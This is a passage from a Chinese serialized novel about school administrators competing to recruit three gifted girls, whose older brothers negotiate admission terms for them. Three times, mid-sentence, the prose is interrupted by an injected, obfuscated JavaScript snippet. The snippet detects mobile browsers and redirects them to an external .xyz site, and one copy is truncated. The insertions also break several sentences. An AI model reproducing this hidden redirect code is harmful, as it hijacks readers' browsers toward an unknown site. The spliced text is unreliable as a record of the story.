正当她仔细浏览时，办公室门被推开了。理科教研组组长吴振华拿着一摞物理竞赛的报名表走进来。 “何姐，忙什么呢？又在挖我们理科的墙角？”吴振华开玩笑地说，把报名表放在旁边的空桌上，很自然地凑过来看何婉莹的屏幕。 “我这叫为文科实验班储备优质人才。”何婉莹笑道，指了指屏幕，“看看，附外这届有个好苗子，成绩全面，文科尤其亮眼。” 吴振华凑近细看：“秦语曦…名字挺好听。成绩是不错，年级第二，这获奖列表够长的。”他的目光扫过那些奖项，突然，在家长信息栏旁边，他注意到了一个不太起眼的小星号标记。 “这孩子家长旁边有星号？”吴振华指了指。 系统里，这个星号是一个特殊标记，意味着该学生的父母名下，还有其他子女正在或曾经在附中或附外就读。这是为了方便校友联络和了解家庭学术传承设计的小功能。 何婉莹也注意到了：“看来哥哥或者姐姐是我们学校的。”她带着一丝好奇，用鼠标点击了那个星号。 页面轻轻一跳，弹出了一个关联学生的信息卡： 姓名：秦宇晨 性别：男 出生日期：1991年5月26日 初中：师范大学附属中学 0301班 高中：师范大学附属中学 0621班 主要荣誉： · 2006年全国高中数学联赛一等奖 · 2007年中国数学奥林匹克（CMO）金牌 · 2007年入选国家集训队 高考成绩： 语文：124 数学：150 英语：148 理综：272总分：694 （备注：该生为数学竞赛生，已凭CMO金牌获北京大学保送资格，此高考成绩仅作参考） 去向： 2009年北京大学 计算机科学与技术专业 父亲：秦国栋 母亲：林婉仪 “吴振华先是一愣，随即露出笑容，“原来是秦宇晨的妹妹！我就说这名字有点耳熟，这对家长我也有印象。这哥哥可是个狠角色啊！” 何婉莹也惊讶地睁大了眼睛，随即笑意更深了：“是啊，父母真是会培养，儿子竞赛顶尖，女儿文科翘楚，这兄妹俩，也太给家长长脸了。” 吴振华带着几分理科老师的自豪打趣道：“看来优秀的基因是遗传的嘛。不过何姐，这小姑娘哥哥是搞竞赛的，她自己理科成绩看来也不弱，还拿过数学第一，学校领导的意思可是优先动员这种全面发展的优等生学理科啊。你这文科组的锄头，这次可能不太好挥哦。” 学校确实有不成文的规定，对于文理均衡的顶尖学生，各科老师都会努力争取，但通常理科，尤其是竞赛体系，会展现出更强的吸引力。 何婉莹却不急不躁，优雅地端起茶杯又抿了一口，语气平和却自信：“老吴，话不能这么说。你看她的获奖清单，作文特等奖，英语竞赛一等奖，语文成绩一骑绝尘，这明显是天赋和兴趣都在文科上。数学好不代表一定要学理，逻辑思维对学文同样是优势。我看啊，她来我们文科重点班，未来冲击省文科状元，希望更大。这叫因材施教，各展所长。” 她说着，顺手将秦语曦的主页添加到了自己的关注收藏夹里，显然已经将她列为重点争取对象。 关掉秦语曦的页面，系统自动显示筛选列表的下一位学生。同样是全国英语竞赛一等奖获得者，来自附外，名叫梁清嘉。她的期末总排名甚至比秦语曦还要高一位，位列年级第一。 “梁清嘉成绩更稳定，一直在年级前三。”何婉莹一边说，一边点开她的主页。同样优异的成绩单，虽然没有省作文大赛特等奖那样极具分量的奖项，但历次大考成绩极其亮眼，显示出了强大的综合实力。 同样地，在梁清嘉的父母信息旁，也带着那个小小的星号。 “这家也有？”何婉莹和吴振华对视一眼，再次点击星号。 弹出的信息卡上，是一个让吴振华瞬间觉得太阳穴开始突突跳动的名字和照片——那张带着几分少年不羁的面孔，他至今记忆犹新： 姓名：梁清树 性别：男 出生日期：1991年7月29日 初中：师范大学附属中学 0301班 高中：师范大学附属中学 0601班 主要荣誉： · 2009年 X省高考理科榜眼 高考成绩： 语文：131 数学：150 英语：148 理综：285总分：714 去向： 2009年清华大学 电子信息科学与技术专业 父亲：梁建宏母亲：刘敏敏 “梁！清！树！”吴振华几乎是咬着牙念出这个名字，表情复杂得像喝了一杯没加糖的浓缩咖啡，混合着头痛、无奈，却又有一丝掩盖不住的欣赏和好笑，“怎么是他妹妹？！” 何婉莹看着吴振华瞬间变化的脸色，忍不住好奇：“怎么了老吴？梁清树是09级的省榜眼，清华高材生，多好的学生啊，你这什么表情？” “好学生？当然是好学生，顶尖的好学生！”吴振华夸张地用手比划着，仿佛又回到了几年前被那个天才少年支配的岁月，“何姐，你是文科组的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484410|185669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你不知道这家伙当年在我们理科实验班干了多少‘好事’！09届理科实验班是我带的第一届实验班，梁清树就是那个班的‘活宝’。” 他像是找到了倾诉对象，语速加快：“这小子，聪明是真聪明，就是太有主意，太不‘安分’。你知道他干过什么吗？他高二为了抗议物理老师拖堂占了他吃菠萝包的时间，高三嫌弃数学老师老林对他步骤吹毛求疵，在考试里精准控分。” “控分？”何婉莹一时没反应过来。 “对啊，高二上学期期中考试，其他科接近满分，物理他硬是把分数精准地控制在60分，把老何气得够呛。高三一模数学填空题不化简，压轴题用竞赛的方法来答题。二模更过分，选择题他空着正确答案，把三个错误选项全涂上、填空题不化简，得零分；后面大题写得跟标准答案一样，满分！最后数学总分70，完美得令人发指。老林和负责他们班压轴题训练的老陈看到答题卡的时候，差点当场心梗，老陈直接冲到厕所门口去堵他训话！” 吴振华讲得绘声绘色，仿佛那一幕就在眼前：“我当时就在附近，亲眼目睹。老陈在厕所外边喊边训，梁清树那小子，就站在那里，脸上那表情，似笑非笑，一点害怕都没有，眼神飘来飘去。” “噗——”何婉莹一个没忍住，刚喝到嘴里的一口茶直接笑了出来，赶紧抽纸巾擦拭，“还有这种事？省榜眼这么顽皮的时候？”她笑得肩膀直抖，“这梁清树，真是个妙人儿啊！” “何止是妙人，简直是混世魔王！”吴振华摇头苦笑，但眼底终究还是藏着一份对爱徒的宽容和怀念，“不过话说回来，这小子虽然折腾，但大事从不糊涂，真到关键考试，从来没掉过链子。高考714分，榜眼，清华，确实厉害。没想到他妹妹也这么优秀。” 他看向屏幕上梁清嘉的成绩，眼神柔和了许多，“这梁建宏和刘敏敏教孩子也是真有一套，兄妹俩都这么出色。” 何婉莹一边笑一边摇头，也将梁清嘉的主页添加到了收藏夹：“看来这届附外的顶尖学生，都和我们附中渊源不浅啊。哥哥们这么厉害，妹妹们的压力不小，但动力肯定也更足。” 处理完梁清嘉的信息，何婉莹继续往下浏览名单。很快，另一个名字跳入眼帘——谢雪凤。这个女孩的成绩更加惊人，几乎长期垄断附外初三年级第一的位置，且分数断层式领先。 “谢雪凤，成绩太稳了，几乎是统治级的。”何婉莹点开她的主页，赞叹道。获奖情况或许不像前两位那样有那么多大奖，但那份绝对稳定的、近乎满分的学习成绩单，透露着一种沉静而强大的力量。 何婉莹仔细看着家庭信息，注意到谢雪凤的姐姐谢雪菲的初中也是在附外读的，但高中去了竞争同样惨烈、以理科著称的G市第三中学。 “姐姐当年也是附外的优秀学生啊，可惜去了三中。”何婉莹语气略带惋惜，“错过了姐姐，妹妹我们附中可不能再错过了。这么好的苗子，无论是文是理，都是清华北大的预备役。” 她的语气充满了决心。 没有任何犹豫，何婉莹将谢雪凤的主页也郑重地收藏起来。 做完这一切，她靠在椅背上，长舒了一口气。窗外的阳光似乎更加明亮了。电脑屏幕上，三个并排的收藏标签——秦语曦、梁清嘉、谢雪凤——仿佛预示着明年秋天，附中高中部又将迎来怎样一批才华横溢、背景各异的新生力量。而她们背后那些优秀的、有趣的哥哥们的故事，也将在新的校园里，成为一段段被老师们笑着提及的传奇往事。 何婉莹已经可以预见，接下来和高一招生组的会议，以及明年春天与这些学生和家长的见面，将会非常有趣。她端起微凉的茶，眼中充满了作为一名教育工作者，对于发现和培养人才的期待与热情。 11. 11. 初三下学期的时光，仿佛被按下了快进键。在日复一日的紧张复习、频繁的模拟考中悄然飞逝。G市的春天来得早，附外校园里的木棉花早已炽烈地绽放又零落成泥，预示着距离中考那座独木桥，只剩下最后一段冲刺的距离。 二模考试的余波刚刚平息，空气中还弥漫着硝烟未尽的味道。成绩榜前依旧围满了心神不宁的学生，几家欢喜几家愁。就在这略显焦灼的氛围中，一纸通知，如同投入平静湖面的石子，在初三年级最顶尖的那批学生中，激起了层层涟漪。 师大附属外国语学校，为了留住本校培养的优质生源，尤其是那些有望在高考中为校争光、甚至冲击状元的尖子生，向本届初三综合排名前百分之十的学生，发放了“校内直升高中部优先培养协议”。 这份协议，对于许多学生和家长而言，无疑是巨大的诱惑和一颗定心丸。它意味着： 1. 降分录取：中考成绩只需达到一个相对较低的、几乎是象征性的分数线，即可确保被附外高中部录取。 2. 重点班保障：中考成绩若达到一个较高的目标分数，可直接进入重点班。 3. 选班权：拥有在一定范围内选择心仪班主任或科任老师班级的权利。 4. 评价老师权：学期末拥有对任课老师教学水平、管理方式等进行匿名或实名评价的权利，学校会高度重视这些尖子生的反馈。 这份协议，几乎是学校能给出的最大诚意和最优厚的条件，是对学生过去三年努力的极大肯定，也为他们规避了中考可能出现的微小风险。 当班主任将那份印制精美、条款诱人的协议放到谢雪凤桌上时，她只是快速而仔细地浏览了一遍，眼神平静无波，没有丝毫的激动或犹豫。 “老师，谢谢学校的好意。”谢雪凤的声音一如既往的平静，甚至带着一丝与年龄不符的沉稳，“但这个协议，我不签。” 班主任有些意外。谢雪凤家庭条件困难，直升协议能极大减轻她中考的心理负担，几乎是稳操胜券的保障。“雪凤，你再考虑一下？这对你来说是个很好的机会，可以安心冲刺更高的中考分数……” “老师，我考虑得很清楚了。”谢雪凤打断班主任的话，语气温和却坚定，“附外的高中部，文科非常强，但我打算读理科。附外的理科资源相对于三中和附中来说，还是薄弱了一些。去年的理科省状元和榜眼都在三中，IMO金牌也是三中的。我想等中考成绩出来，再看是去三中还是附中。我相信我的成绩，可以有更好的选择。” 她的目标清晰明确——最好的理科教育资源。附外的文科光环和优厚条件，无法动摇她追求最强理科平台的决心。对她而言，这不是冒险，而是基于自身实力和清晰规划的自信选择。她需要的是一个能让她在理科上毫无保留冲刺巅峰的环境，而不是一个可能需要她自己去弥补资源短板的平台。 班主任看着她清亮而坚定的眼神，明白了这个女孩内心早已有了决断，且难以动摇。她叹了口气，最终还是尊重了谢雪凤的选择，收回了那份许多学生求之不得的协议。她知道，这个女孩的天地，或许真的不在附外。 梁清嘉拿到协议，倒是笑嘻嘻地跟班主任道了谢，还拿着协议对着同桌秦语曦晃了晃，一副“看，姐也是被肯定的人”的得意小表情。但她同样没有立刻签字。 放学路上，她和秦语曦并肩走着。 “语曦，你签吗？”梁清嘉咬着奶茶吸管问。 “我…还没想好，拿回去给爸妈看看。”秦语曦有些犹豫。 梁清嘉了然地点点头，凑近了些，压低声音说：“我哥早就跟我‘密谋’好了。” “他怎么说？” “他说，附外这协议看着不错，但其实‘选班权’和‘评价老师权’范围有限，说白了还是在学校划定的圈子里选。他让我先别签，吊着学校。等中考成绩出来，他亲自回来帮我跟附中谈！”梁清嘉眼睛亮晶晶的，带着对哥哥无条件的信任和一点小狡黠，“我哥说，凭我的成绩，到时候他有把握帮我从附中要到更自由的‘换班权’和更有分量的‘评价老师权’，甚至可能争取到一些竞赛或者实验室的资源倾斜。附中的理科可比附外强多了，选择也更多样。” 梁清树作为曾经的附中“风云人物”和省榜眼，深谙附中的运作规则和谈判筹码。他清楚妹妹的成绩足够优秀，有资本等到最后时刻待价而沽，为自己争取最大化的利益和最舒适的学习环境。梁清嘉对哥哥的计划深信不疑，乐得轻松，直接把协议塞进了书包最底层，准备先晾着再说。 秦语曦拿着那份沉甸甸的协议回到家时，林婉仪和秦国栋都还没下班。宽敞的客厅里只有她一个人。她反复看着协议上那些优厚的条款，心里有些高兴，也有些迷茫。附外是她熟悉的环境，老师同学都很好，直升能避免中考压力，似乎是个不错的选择。 她拿出手机，拍了下协议封面和里面几项关键条款，发了一条朋友圈，配文：“拿到直升了~开心~[转圈]”，设置了对同班同学和老师不可见，只对家人和亲密朋友可见。这是一种下意识的分享，带着一点点的炫耀和寻求认可的心理。 她刚放下手机准备去做作业，电话就急促地响了起来。来电显示是远在北京的秦宇晨。 “喂，哥？” “曦曦，”秦宇晨的声音听起来有点急，甚至带点严肃，“你发的那個直升协议，签字交了没有？” “还没呢，”秦语曦被秦宇晨的语气弄得有点懵，“说要星期天晚上晚自习前统一交回给班主任。怎么了哥？” 电话那头，秦宇晨明显松了一口气：“没交就好！千万别急着签字！” “为什么呀？”秦语曦不解，“附外给的条件挺好的呀，降分录取，还能保证进重点班呢……” 秦宇晨在电话那头深吸了一口气，开始耐心地给妹妹分析起来，语气变得沉稳而清晰，仿佛不是在跟妹妹聊天，而是在进行一场战略评估： “曦曦，你听哥说。附外的高中部，确实很好，尤其是文科。它的语言保送体系非常强大，每年都能把很多学生直接送进顶尖大学的语言专业。高考文科成绩更是常年霸榜，去年包揽了市和省的文科状元，这点毋庸置疑。” “但是，”他话锋一转，“它的理科相对而言就比较一般了。去年的校理科状元，放在全省排在第五。更重要的是，附外的校风非常自由，老师管得不严，强调的是学生自主学习。这在初中可能没问题，但高中阶段的知识难度和重要性远超初中，更需要系统的、严格的学习规划和纪律约束。我觉得，这种过于自由的环境，可能不太适合你。” 秦宇晨太了解自己的秦语曦了。秦语曦聪明，有天赋，但性格里有点散漫，需要一定的外部压力和规范引导才能把潜力完全激发出来。附外的“放养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他最后总结道：“所以曦曦，先别签附外的协议。等等看，等中考成绩出来。你的成绩肯定很漂亮，到时候附中和三中很可能都会主动联系你，开出他们的条件。我们比较一下，选择最适合你的平台。附中，我认为才是能让你文理都能得到最好发展、未来选择余地最大的‘黄金跳板’。” 秦语曦握着电话，静静地听着哥哥条分缕析、高屋建瓴的一番话。她之前只是模糊地觉得直升挺好，并未深思熟虑到哥哥这个层面。此刻，她仿佛被点醒了，眼前豁然开朗。哥哥的分析合情合理，完全是从她的长远利益和性格特点出发。 “我明白了，哥。”秦语曦的声音变得坚定起来，“我先不签，等中考完看情况再说。” “乖。”秦宇晨的语气缓和下来，带着笑意，“放心，有我在呢，帮你把关。” 挂了电话，秦语曦再看向那份直升协议，心情已经完全不一样了。它不再是一个简单的“保底”选择，而是变成了需要慎重权衡的选项之一。她将协议仔细收好，心中对未来的道路，有了更清晰的期待和规划。 当晚，林婉仪和秦国栋下班回家，秦语曦把协议和哥哥的分析告诉了他们。林婉仪和秦国栋听后，对视一眼，都露出了欣慰的神色。 “宇晨考虑得很周到。”秦国栋点头，“附中确实是最优选择。那就先按他说的，等等看。” 林婉仪也搂过女儿：“嗯，我们曦曦成绩这么好，肯定有更好的机会等着。不急这一时。” 中考的最终战役尚未到来，但关于未来的博弈与选择，已经在这三位优秀的少女之间，悄然拉开了序幕。她们手握不同的筹码，怀揣各自的梦想，站在人生的第一个十字路口，准备做出最适合自己的决定。 12. 12. 六月的G市，空气中弥漫着栀子花的甜香，也弥漫着中考结束后的释然与等待放榜的焦灼。对于秦语曦、梁清嘉和谢雪凤而言，这个夏天注定不平凡。当中考成绩查询系统开启的那一刻，无数家庭屏息凝神，而G市顶尖高中的招生办公室，也早已严阵以待，如同经验丰富的猎手，目光锐利地扫视着成绩榜单，准备捕捉最心仪的“猎物”。 师大附中和G市第三中学，同为声名显赫的省重点高中，既是高考战场上的竞争对手，也是优质生源争夺战中的老对手。 两校风格迥异，各有所长。附中以其文理均衡、宽严并济、资源丰厚著称；三中则以其极端强大的理科竞赛体系、严谨的校风和辉煌的理科高考成绩闻名。每年的招生季，两校之间的明争暗斗都是一场没有硝烟的战争。 附中招生办，尤其是文科组长何婉莹，吃过早年只注重理科竞赛、忽略了文科尖子生的亏，让几个好苗子流向了附外。因此，他们现在时刻紧盯着各类竞赛放榜——无论是数理化生信息学，还是作文、英语等文科竞赛，力求全方位网罗人才。而三中，因其侧重点极其明确，招生精力更多地集中在理科顶尖竞赛生身上，对文科竞赛的关注相对较弱，这无疑给了附中可乘之机。 中考成绩一经公布，梁清嘉的名字便以近乎满分的恐怖成绩高居榜首，数学、英语、化学三科满分，总分耀眼得令人惊叹。这个成绩一出来，何婉莹的电话几乎是在成绩查询热线之后第一时间就拨到了梁清嘉家。 接电话的是梁清嘉本人，但她一听是何老师，立刻地把话筒递给了旁边早已等候多时的梁清树。梁清树接过电话，语气轻松但却不容置疑。 “何老师，您好，我是梁清树。” “清树啊！恭喜恭喜！清嘉这成绩太出色了！”何婉莹的声音充满了喜悦和赞赏，“怎么样？第一志愿考虑好了吗？我们附中可是对清嘉期盼已久了！” “何老师，附中当然是我们优先考虑的。”梁清树不紧不慢地说，话锋却微微一转，“不过，您也知道，清嘉这孩子有点小个性，对环境比较挑。我们之前聊过，她比较关心的是，如果去了附中，能不能确保进最好的重点班？以及，万一觉得班级氛围或者老师不太适应，有没有比较灵活的换班机制？还有就是，学生的反馈渠道是否畅通有效？” 梁清树的问题直指核心，毫不掩饰地为妹妹争取最大权益。他所说的“换班机制”和“反馈渠道”，远比附外提供的“选班权”和“评价老师权”更具体、更主动，几乎是要求一份量身定制的学习保障。 何婉莹在电话那头笑了，她何等精明，立刻明白了梁清树的意图。这分明是拿着顶尖成绩作为筹码，在谈判桌上为妹妹争取特殊待遇，她喜欢这种聪明又直接的人。 “清树，你放心！”何婉莹回答得干脆利落，“只要清嘉第一志愿填报我们附中，我以个人名义担保，她一定会进入重点班。至于换班权和评价权没问题，她的意见会直接送达年级主任和我这里，我们会高度重视。如果她确实认为某个班级不适合她的发展，我们可以启动特殊程序，在年级范围内为她调整到最合适的班级。附中的环境你是知道的，包容性很强，老师也都非常通情达理。” 说到这里，何婉莹话锋一转，打起了感情牌：“清树啊，你在附中待了六年，从初中到高中，这里的一草一木你都熟悉。附中的氛围，老师的宽容和负责，你是亲身体验过的。把清嘉交给附中，你还有什么不放心的呢？” 电话两端，梁清树和何婉莹都心照不宣地笑了。这是一种基于互相了解和实力认可的默契。梁清树知道附中需要清嘉的成绩装点门面，何婉莹知道梁清树兄妹值得这份特殊关照。 “好的，何老师，有您这句话我就放心了。我们会认真考虑，第一志愿大概率就是附中了。”梁清树给出了积极的信号。 “太好了！欢迎清嘉成为附中新的一员！”何婉莹心满意足地挂了电话。 至于三中打来的电话？梁清嘉没接。她的目标从一开始就很明确，有梁清树为她铺路，附中开出的条件又如此优厚，三中根本不在她的考虑范围内。 秦语曦的成绩同样璀璨夺目：接近满分的总分，加上全国中学生英语竞赛一等奖和省作文大赛特等奖的光环，让她瞬间成为了三中和附中共同的目标。 首先打来电话的是三中招生办的老师。对方语气热情但目标明确，主要推介三中强大的理科资源。 “秦语曦同学成绩非常优秀，尤其是理科基础很扎实。”老师恭维道，“我们三中拥有全省最顶尖的理科师资和竞赛培训体系，去年IMO金牌得主就是我们学校的。我们实行的是滚动淘汰制，每次大考，实验班后10名、重点班后10名会和普通班前20名进行流动，激励机制非常强大，能最大限度激发学生的潜能。” 当陪同接电话的秦宇晨询问如果秦语曦想去三中，能提供什么条件时，老师回答： “如果第一志愿填报我们三中，我们可以保证秦语曦同学进入文科重点班。她可以提前和我们的文科老师谈谈，喜欢哪位老师的风格，我们可以尽量安排她进入那个老师的班级。我们也非常重视学生的评价反馈。” 秦宇晨紧接着追问：“那理科实验班呢？” 对方顿了一下，语气略显遗憾但很坦诚：“很抱歉，理科实验班对我们的生源要求极高，通常需要省级以上的理科竞赛奖项作为入门券。秦语曦同学中考理科成绩虽好，但缺乏竞赛成果证明，所以暂时无法直接进入实验班。但她可以凭中考成绩进入理科重点班，之后通过自己的努力，完全有机会通过滚动机制进入实验班。” 电话一挂断，秦宇晨、秦国栋、林婉仪几乎没有任何犹豫，立刻达成了共识：三中，否决！ 理由非常充分，三中强手如云，全是理科竞赛尖子。秦语曦缺乏竞赛背景，进入理科重点班，很可能在第一次月考就被那些“怪物”刷下来，掉入普通班，这对她的自信心将是巨大打击。 如果秦语曦最终选择文科，三中的文科资源相对薄弱，无法最大化发挥她的天赋优势。而三中严谨乃至严苛的校风，与秦语曦稍显散漫、需要一定自由空间的性格可能格格不入，不利于她的心理健康和全面发展。 几乎就在同时，何婉莹的电话也打到了秦家。她的策略清晰而诱人： “语曦妈妈，语曦爸爸，还有宇晨都在吧？恭喜语曦取得这么好的成绩！”何婉莹的声音亲切而富有感染力，“我们附中非常诚挚地邀请语曦加入。只要第一志愿填报附中，我们承诺： 第一，她入学后直接进入重点班。 第二，附中的文理分科是在高一上学期期末才进行，这意味着语曦有整整一个学期的时间去探索和决定最终方向。无论文理，她都能享受到附中最顶尖的师资，这个重点班的老师都是常年带毕业班的资深教师，甚至有理科老师是竞赛班下来的。 第三，我们赋予她充分的‘评价老师权’，她的意见会直接送达年级主任和校长办公室。如果她经过一段时间学习，确实认为当前班级的整体氛围或某位老师的教学风格不适合她，我们可以启动程序，为她调换到更合适的班级。 第四，宇晨是我们附中的优秀毕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484412|185669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 业生，他在附中享受过的资源和支持，语曦同样会有！我们对待优秀的学生，从来都是不遗余力的。” 这番条件，对比三中，显得无比丰厚且充满诚意。它几乎消除了所有不确定性，为秦语曦提供了一个高度保障、资源顶级且允许试错和调整的完美平台。 秦宇晨、林婉仪、秦国栋相互对视，眼中都是认可。秦宇晨总结道： “爸，妈，曦曦，附中的条件确实是最好的选择。附外是很好，但太宽松了，我真的不放心。我记得你说过想学医，学医需要极强的理科逻辑思维，附中的理科师资和训练强度绝对比附外强，就算你以后学文，附中的文科实力也和附外不相上下，今年的省文科状元就是附中的。而且附中同样有校长实名推荐资格，各种文科竞赛资源虽然不如附外那么历史悠久，但对你来说绝对够用了，甚至因为竞争相对小一点，可能机会更多。” 秦语曦看着家人一致支持的态度，心里其实也已经偏向了附中，但忍不住调皮了一下：“那……我要是报三中呢？” 秦宇晨闻言噗嗤一笑，开始生动地“恐吓”妹妹：“可以啊，我听我三中的同学说过，三中可是很‘刺激’的：进教室先排队交手机，说没带？没关系，金属探测仪伺候，全身过一遍。交了手机也得再过一遍，防止你藏第二个。下午放学集体跑操，天天如此，雷打不动。晚自习必须提前十分钟到教室安静自习。周末作业没写完？不好意思，直接站在走廊上写完再进去。假期作业开学检查，少一页都不给报名。怎么样，要不要去感受一下三中老师的‘震撼教育’？” 秦语曦被秦宇晨夸张的描述逗得哈哈大笑，顺着话茬问：“哥，你当年不去三中，是不是也是因为这个呀？” 秦宇晨压低声音，带着点戏谑承认：“是呀，我喜欢踩点进教室，还喜欢带手机查资料，去三中我第二天就得跳楼。” 全家人都被他的话逗得前仰后合，客厅里充满了快活的空气。笑声中也最终坚定了选择——师大附中，才是秦语曦的归宿。 谢雪凤的成绩毫无意外地顶尖，理科全部满分，文科接近满分，总分高得惊人。三中和附中都向她抛来了橄榄枝。 然而，面对三中招生老师关于理科实验班的询问，她也面临了和秦语曦类似的情况——缺乏硬核的理科竞赛奖项，无法直接获得实验班的入场券。三中能提供的，也只是凭中考成绩进入理科重点班，然后依靠后续的滚动竞争机制。 对于谢雪凤而言，三中那种高度竞争、滚动淘汰的环境，压力过大，且存在不确定性。她需要的是一个稳定、能够让她心无旁骛、全力冲刺最高目标的平台。附中开出的条件与给秦语曦的类似：保证重点班，拥有评价权，文理选择自由且资源均衡。虽然附中的理科竞赛顶尖程度略逊于三中，但其高考理科成绩同样极其强大，师资雄厚，对于志在通过高考裸分冲刺清华北大顶尖理工科专业的谢雪凤来说，完全足够，且环境更为稳定可靠。 因此，几乎没有太多纠结，谢雪凤选择了师大附中。这里是她认为更能发挥自己优势、也更适合自己性格的战场。 与此同时，谢家也迎来了另一个好消息。谢雪凤的大姐谢雪琳也在这一年参加了高考，取得了699分的优异成绩，顺利被上海交通大学计算机专业录取！谢建华和叶桂兰喜极而泣。更让他们欣慰的是，谢雪琳非常懂事，立即申请了助学贷款，并开始打暑假工为自己赚取生活费，还提前向学长学姐打听好了校内勤工俭学的岗位。大女儿的独立和成功，让这个贫困家庭的压力骤然减轻了许多，也仿佛为谢雪凤的未来照亮了前路。 13. 13. 七月的G市，热浪翻滚，蝉鸣聒噪，但空气中却弥漫着一种轻松而喜悦的气息。中考的硝烟早已散尽，志愿填报的博弈也落下帷幕，剩下的，便是等待收获果实的时刻。 七月下旬，高中录取查询系统如期开放。对于秦语曦、梁清嘉和谢雪凤而言，结果毫无悬念，却又足以让人心潮澎湃。 电脑屏幕上，“录取学校：师范大学附属中学”一行字，是对她们过去三年努力的最美褒奖，也标志着一段崭新的人生旅程正式开启。 秦语曦录取通知书到家的那天下午，林婉仪特意提前下班，秦国栋推掉了一个不太重要的应酬回家。 拆开红色的信封，拿出那份沉甸甸的录取通知书，秦语曦脸上绽放出灿烂的笑容。林婉仪搂着女儿连声说“好”。 秦国栋虽然表情依旧沉稳，但眼角的笑意和微微扬起的嘴角泄露了他内心的喜悦与自豪。 秦宇晨则揉了揉妹妹的头发，语气里满是骄傲：“我就说没问题吧！曦曦最棒了！” 为了庆祝，一家四口去了G市一家颇有名气的西餐厅。环境优雅静谧，柔和的灯光，精致的餐具，美味的食物。 秦国栋点了红酒，举杯向全家致意：“为我们家的小才女，即将开启高中新生活，干杯！”林婉仪细心地为女儿切好牛排，询问着她对高中的期待和规划。秦宇晨则在一旁分享着大学里的趣事，缓解妹妹对未知环境的些许紧张。这一刻，家庭的温暖与支持环绕着秦语曦，是她前行最坚实的后盾。 梁清嘉收到通知书时，家里略显冷清。母亲刘敏敏正在外地出差，为一个重要的审计项目收尾；梁建宏则泡在律师事务所，为一个棘手的商业案件搜集证据。但他们的爱并未缺席。几乎在梁清嘉收到通知书拍照发到家庭群的下一秒，手机就连续响起了两声提示音。 “支付宝到账1000元。” “支付宝到账1000元。” 紧接着，刘敏敏和梁建宏的电话几乎同时打了进来，语气里充满了歉意和骄傲。 “嘉嘉，对不起啊妈妈还在外地，没办法马上回去给你庆祝！钱收到了吧？自己买点喜欢的，或者让哥哥带你去吃顿好的！”刘敏敏的声音透过电话传来，带着忙碌中的急切关怀。 “嘉嘉，好样的！爸爸这边案子有点紧，晚点回去给你补上礼物！”梁建宏的声音则沉稳有力，透着律师特有的逻辑感，但喜悦之情溢于言表。 梁清嘉对此早已习惯，笑嘻嘻地回复：“知道啦！谢谢爸妈！你们忙你们的！” 挂了电话，她扭头就去找刚放假回家的梁清树：“哥！爸妈给赞助了！走，吃椰子鸡去！” 梁清树看着妹妹没心没肺却快乐的样子，笑着接过她的通知书仔细看了看，然后大手一挥：“走！必须庆祝！我请你吃最大份的！” 兄妹俩去了附近商场一家口碑很好的椰子鸡店。清甜的汤底，鲜嫩的鸡肉，氤氲的热气中，梁清树以“过来人”的身份，给妹妹传授着高中生存指南，从怎么选选修课到哪个食堂的菜最好吃，再到如何“有效”地与老师沟通。梁清嘉听得津津有味，对高中生活更加期待。这种兄妹间的轻松氛围，是独属于梁清嘉的庆祝方式。 谢雪凤拿到录取通知书的那天，正在一家小型超市里帮母亲叶桂兰做理货的兼职。通知书是寄到家里，由下夜班休息的谢建华签收后，特意送到超市来的。 谢建华的脸上是掩不住的激动和骄傲，黝黑的皮肤因为兴奋而泛着红光。“雪凤！考上了！附中！”他小心翼翼地把通知书递给女儿，仿佛那是什么易碎的珍宝。 谢雪凤接过通知书，手上还沾着一点纸箱的灰尘。她仔细地看着上面的每一个字，心脏砰砰直跳，一种难以言喻的激动和酸楚交织在心头。她做到了，她真的靠着努力，走进了全省最好的高中之一。 叶桂兰闻讯从仓库里出来围裙都来不及解，看到通知书她搓着手，看看谢雪凤又看看丈夫，然后对谢雪凤说：“雪凤，你等着！” 她快步走到超市门口的奶茶店，犹豫了一下，还是点了一杯最贵的大杯招牌奶茶，加了珍珠和椰果。她把温热的奶茶塞到女儿手里，声音有些哽咽：“喝吧，雪凤…辛苦了…我闺女争气！” 谢雪凤捧着那杯对于她家而言堪称“奢侈”的奶茶，感受着掌心传来的温度，鼻子一酸，重重地点了点头。这杯奶茶，胜过任何大餐，是生活重压下开出的最甜的花，是对她所有努力最朴素的肯定。她小心地喝了一口，甜味一直蔓延到了心底。 八月初，梁建宏和刘敏敏终于协调出了时间，带着梁清树和梁清嘉去了上海旅游。外滩的璀璨、迪士尼的梦幻、南京路的繁华，都让梁清嘉兴奋不已。行程中，他们特意去了复旦大学。站在古朴而庄严的校门前，梁清嘉忽然心生向往，脱口而出：“三年后，我要到这里来读书！” 刘敏敏听了，笑着搂住女儿的肩膀：“好啊！复旦可是顶尖名校，你要真能考上，那真是最好不过了！” 梁建宏眼中带着鼓励的笑意：“嗯，目标明确是好事。爸爸等你三年后的好消息。” 梁清树在一旁故意逗她：“怎么不去清华？看不起你哥母校啊？” 